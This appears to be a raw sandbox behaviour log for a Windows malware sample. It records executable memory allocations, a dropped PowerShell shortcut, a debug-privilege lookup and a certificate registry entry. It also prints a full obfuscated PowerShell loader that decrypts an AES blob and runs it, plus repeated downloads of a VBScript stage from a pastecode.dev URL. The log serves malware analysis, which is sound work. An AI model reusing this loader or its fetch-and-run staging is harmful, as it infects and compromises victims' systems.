NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02583000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02584000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02585000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02586000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02587000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02588000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02589000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048c9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048cb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048cd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048ce000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048cf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04980000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04981000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04982000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04983000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04984000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI80168368095155879246343180283860CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIG0A1+PrFFIeELomZdViz8ihpJlgfWSG+c8Fn24Yl9hVuxVdEAurMWPyojwYOyeb5UMR2oDYO7mDj/4mQVoDcRIADMQ1J1PJY9WxnIjECC7W9LI8Ol3HTjOpzG4waT56lIqmYk4zL1SBvoe848dm6BtzEqKQqLTN6fMMNKOQsy6SVkJBW1zdvJWXNlxNUH7AptKMypi2N4ui1CpNo9Is/Ppayo7+f+db5c0GzQPZxJIw/3OToEEIMAI5IJSOIGhsVJA4DgZO7nCHnqIBscBMRiN/wglDM6tX6Q46URemN1y1W49YuzsDpjsfyxzQ+zi1I4eB1IETOHTz89D8BlxuQDwVClBv0+GDF59fznQ+YF6okM+C5BLM7qkIfbMFKc4O35deBE51BwEhPDvsmK2YSQir1FqWmjz3acFG6znZLgkf/HIuzamqoNgAIZMeZkT0RAYkvTUz8ZlkOo3MXnJyx5+xJM2zkiMd7oajc1lJOMPl/ux94t3CqSJ4gPzg/TnWyOxZ7404PZ7piPpZHD3egMhNexxTnGS0OPblGvzwwR1cJqSmB8NqH1qiVMb6ZM9uUvWRwa9ChaqcWgS7YCenzvazlGFz18pnnY+NxUA5N33oDEe5RsGMSlntzzIdIjahx4MBp9RqCAgsjd9w3j6p8WdkME0ydEckZWZRTSRQF2N3iyEvHCGec2vUNtxttJgAauSuuMSTUGFzS9NxkWehSSMzdhRforbZwrvjEAtnHqqKf4FTgfXWgXRtnMDJly+CiPXeTZMHxQk2JjMi6Oj18ZqF6a42R6Xhj38hbydvJ/x+52suO/yRpRTLRHRNF8vICiawEBQZ4dt1wNfhVVuvL5NRf6NZ1ClnjfRoRLMD4obqKHFVHUQC4sC5Nuh2ZMLm7nwamr4ZBvmTROLz45tV+1cflORgGrvz66LRqzMoYdb17qGKi1sZfebxHGBQpbifqSh8xBz1xGWWuV4a1PCcQ2DIukdCbTpb2qCvsJDt7Z46dOGEv8na9tYmcl2ku8AIY2gC73T4DojNl4vsUG8T6JxrMWAfXHCngUXiBDPsyW/R0hFAHtBsHYMzlcJ9Lycu1/CiwFS+ogiZL7iRJusUsqFfcL49eQfmrOccCnod07s83tBs1cm8mZxX+xFnMrPw/6tsTt137aHBnYOMs1jZPOvzn1Agv8jseg6ApWoP8e8UPbxJdj3r+8MeT2VkMKer32XVvbumEwPcbODr1COI3yYiAMiPRT+mmYnkKBPtjSynWD6zs6DIcdvUTbsZN7iyksLS0vSlwKXzbWQqOS5dzEhmD4NunfG7hAWTRQvQF8JafWNW/YTa25A1rw0bRhYAA1lcUGdqfJtbq7/md4Gk+/FVjWrbZRHgyzxLo2rkul1p2/Aa1TnMDxt5INkg2AiYq72RE0sOxd4e9FzmvIC/SBl/hqvj2SijxxjWc57usBZ0pZ74PyUGvT04mhWqJajRBXpkHXRPz59/o4IPdsnm3WKtCZPkB1JpKLLGvfv7f9VHie8EbskOc1bmVRCGaoesp3hDo4JpJL5DyJ49vYmkUy6sdO4ngGmWu8U14AwjDKqJlD8lVCJCwwIRQS/t5nrg6l3h0hWT/EYl0jzzOLCdYBDjL5O9yEamn1BSFnvvZ0prNrFvh7SdTJIBl5vLT87bDzCew9Zvvw+7BXhqUntDDsQGIwOMa2IE+WGKzUkPUtLBd7qDCgW7qFrJhGiveqc6JJcV0v+8vS1iNL1aD5Xe5GSfpJGNcvvIz4VEKBPvHmdroV2Hwz16mXQl4YLVImR2awDbst0XBSrmtiSpEUtY4KkGHu7NQGhygAZksH+7tLvMkeYh1xUFdAcErWiA6l+3gCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI80168368095155879246343180283860CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIG0A1+PrFFIeELomZdViz8ihpJlgfWSG+c8Fn24Yl9hVuxVdEAurMWPyojwYOyeb5UMR2oDYO7mDj/4mQVoDcRIADMQ1J1PJY9WxnIjECC7W9LI8Ol3HTjOpzG4waT56lIqmYk4zL1SBvoe848dm6BtzEqKQqLTN6fMMNKOQsy6SVkJBW1zdvJWXNlxNUH7AptKMypi2N4ui1CpNo9Is/Ppayo7+f+db5c0GzQPZxJIw/3OToEEIMAI5IJSOIGhsVJA4DgZO7nCHnqIBscBMRiN/wglDM6tX6Q46URemN1y1W49YuzsDpjsfyxzQ+zi1I4eB1IETOHTz89D8BlxuQDwVClBv0+GDF59fznQ+YF6okM+C5BLM7qkIfbMFKc4O35deBE51BwEhPDvsmK2YSQir1FqWmjz3acFG6znZLgkf/HIuzamqoNgAIZMeZkT0RAYkvTUz8ZlkOo3MXnJyx5+xJM2zkiMd7oajc1lJOMPl/ux94t3CqSJ4gPzg/TnWyOxZ7404PZ7piPpZHD3egMhNexxTnGS0OPblGvzwwR1cJqSmB8NqH1qiVMb6ZM9uUvWRwa9ChaqcWgS7YCenzvazlGFz18pnnY+NxUA5N33oDEe5RsGMSlntzzIdIjahx4MBp9RqCAgsjd9w3j6p8WdkME0ydEckZWZRTSRQF2N3iyEvHCGec2vUNtxttJgAauSuuMSTUGFzS9NxkWehSSMzdhRforbZwrvjEAtnHqqKf4FTgfXWgXRtnMDJly+CiPXeTZMHxQk2JjMi6Oj18ZqF6a42R6Xhj38hbydvJ/x+52suO/yRpRTLRHRNF8vICiawEBQZ4dt1wNfhVVuvL5NRf6NZ1ClnjfRoRLMD4obqKHFVHUQC4sC5Nuh2ZMLm7nwamr4ZBvmTROLz45tV+1cflORgGrvz66LRqzMoYdb17qGKi1sZfebxHGBQpbifqSh8xBz1xGWWuV4a1PCcQ2DIukdCbTpb2qCvsJDt7Z46dOGEv8na9tYmcl2ku8AIY2gC73T4DojNl4vsUG8T6JxrMWAfXHCngUXiBDPsyW/R0hFAHtBsHYMzlcJ9Lycu1/CiwFS+ogiZL7iRJusUsqFfcL49eQfmrOccCnod07s83tBs1cm8mZxX+xFnMrPw/6tsTt137aHBnYOMs1jZPOvzn1Agv8jseg6ApWoP8e8UPbxJdj3r+8MeT2VkMKer32XVvbumEwPcbODr1COI3yYiAMiPRT+mmYnkKBPtjSynWD6zs6DIcdvUTbsZN7iyksLS0vSlwKXzbWQqOS5dzEhmD4NunfG7hAWTRQvQF8JafWNW/YTa25A1rw0bRhYAA1lcUGdqfJtbq7/md4Gk+/FVjWrbZRHgyzxLo2rkul1p2/Aa1TnMDxt5INkg2AiYq72RE0sOxd4e9FzmvIC/SBl/hqvj2SijxxjWc57usBZ0pZ74PyUGvT04mhWqJajRBXpkHXRPz59/o4IPdsnm3WKtCZPkB1JpKLLGvfv7f9VHie8EbskOc1bmVRCGaoesp3hDo4JpJL5DyJ49vYmkUy6sdO4ngGmWu8U14AwjDKqJlD8lVCJCwwIRQS/t5nrg6l3h0hWT/EYl0jzzOLCdYBDjL5O9yEamn1BSFnvvZ0prNrFvh7SdTJIBl5vLT87bDzCew9Zvvw+7BXhqUntDDsQGIwOMa2IE+WGKzUkPUtLBd7qDCgW7qFrJhGiveqc6JJcV0v+8vS1iNL1aD5Xe5GSfpJGNcvvIz4VEKBPvHmdroV2Hwz16mXQl4YLVImR2awDbst0XBSrmtiSpEUtY4KkGHu7NQGhygAZksH+7tLvMkeYh1xUFdAcErWiA6l+3gCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI80168368095155879246343180283860CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIG0A1+PrFFIeELomZdViz8ihpJlgfWSG+c8Fn24Yl9hVuxVdEAurMWPyojwYOyeb5UMR2oDYO7mDj/4mQVoDcRIADMQ1J1PJY9WxnIjECC7W9LI8Ol3HTjOpzG4waT56lIqmYk4zL1SBvoe848dm6BtzEqKQqLTN6fMMNKOQsy6SVkJBW1zdvJWXNlxNUH7AptKMypi2N4ui1CpNo9Is/Ppayo7+f+db5c0GzQPZxJIw/3OToEEIMAI5IJSOIGhsVJA4DgZO7nCHnqIBscBMRiN/wglDM6tX6Q46URemN1y1W49YuzsDpjsfyxzQ+zi1I4eB1IETOHTz89D8BlxuQDwVClBv0+GDF59fznQ+YF6okM+C5BLM7qkIfbMFKc4O35deBE51BwEhPDvsmK2YSQir1FqWmjz3acFG6znZLgkf/HIuzamqoNgAIZMeZkT0RAYkvTUz8ZlkOo3MXnJyx5+xJM2zkiMd7oajc1lJOMPl/ux94t3CqSJ4gPzg/TnWyOxZ7404PZ7piPpZHD3egMhNexxTnGS0OPblGvzwwR1cJqSmB8NqH1qiVMb6ZM9uUvWRwa9ChaqcWgS7YCenzvazlGFz18pnnY+NxUA5N33oDEe5RsGMSlntzzIdIjahx4MBp9RqCAgsjd9w3j6p8WdkME0ydEckZWZRTSRQF2N3iyEvHCGec2vUNtxttJgAauSuuMSTUGFzS9NxkWehSSMzdhRforbZwrvjEAtnHqqKf4FTgfXWgXRtnMDJly+CiPXeTZMHxQk2JjMi6Oj18ZqF6a42R6Xhj38hbydvJ/x+52suO/yRpRTLRHRNF8vICiawEBQZ4dt1wNfhVVuvL5NRf6NZ1ClnjfRoRLMD4obqKHFVHUQC4sC5Nuh2ZMLm7nwamr4ZBvmTROLz45tV+1cflORgGrvz66LRqzMoYdb17qGKi1sZfebxHGBQpbifqSh8xBz1xGWWuV4a1PCcQ2DIukdCbTpb2qCvsJDt7Z46dOGEv8na9tYmcl2ku8AIY2gC73T4DojNl4vsUG8T6JxrMWAfXHCngUXiBDPsyW/R0hFAHtBsHYMzlcJ9Lycu1/CiwFS+ogiZL7iRJusUsqFfcL49eQfmrOccCnod07s83tBs1cm8mZxX+xFnMrPw/6tsTt137aHBnYOMs1jZPOvzn1Agv8jseg6ApWoP8e8UPbxJdj3r+8MeT2VkMKer32XVvbumEwPcbODr1COI3yYiAMiPRT+mmYnkKBPtjSynWD6zs6DIcdvUTbsZN7iyksLS0vSlwKXzbWQqOS5dzEhmD4NunfG7hAWTRQvQF8JafWNW/YTa25A1rw0bRhYAA1lcUGdqfJtbq7/md4Gk+/FVjWrbZRHgyzxLo2rkul1p2/Aa1TnMDxt5INkg2AiYq72RE0sOxd4e9FzmvIC/SBl/hqvj2SijxxjWc57usBZ0pZ74PyUGvT04mhWqJajRBXpkHXRPz59/o4IPdsnm3WKtCZPkB1JpKLLGvfv7f9VHie8EbskOc1bmVRCGaoesp3hDo4JpJL5DyJ49vYmkUy6sdO4ngGmWu8U14AwjDKqJlD8lVCJCwwIRQS/t5nrg6l3h0hWT/EYl0jzzOLCdYBDjL5O9yEamn1BSFnvvZ0prNrFvh7SdTJIBl5vLT87bDzCew9Zvvw+7BXhqUntDDsQGIwOMa2IE+WGKzUkPUtLBd7qDCgW7qFrJhGiveqc6JJcV0v+8vS1iNL1aD5Xe5GSfpJGNcvvIz4VEKBPvHmdroV2Hwz16mXQl4YLVImR2awDbst0XBSrmtiSpEUtY4KkGHu7NQGhygAZksH+7tLvMkeYh1xUFdAcErWiA6l+3gCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent zvfŽç d¥2ç9·¦Y#…B[ 4W¬2÷ Á`IM/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvfŽèa5ÌÁíûÎSch~k“Îz÷Þr«Å,ûÙû /5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvfŽè P@û^a/4(û¥%™O8¢y"f´«S}ºe/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvfŽ醱G™>3ôjðYc‰aôpÙÕeôG‡›ª¯%/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0010
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369364 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc0014
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

send

 buffer: plfŽã¡ÀÊ8MÝo¥æ·´MJ¾æÚkÎ[XÒ)í e/5 ÀÀÀ À 28+ÿ pastecode.dev  
socket: 956
sent: 117
1 117 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

send

 buffer: FBApø4Ti’êŽÝÁÕ¡9ðh1r¨É™û… š›ÒBMq W’V ñ³¤eçË"™%ÿïîaöÞÖ̉ÙWcÍ0yI 1›svjj‰®òfúxÑÙC bßYô°1wâ=Y¯©Ìva¦{ÿDó–{¹ºðT
socket: 956
sent: 134
1 134 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

send

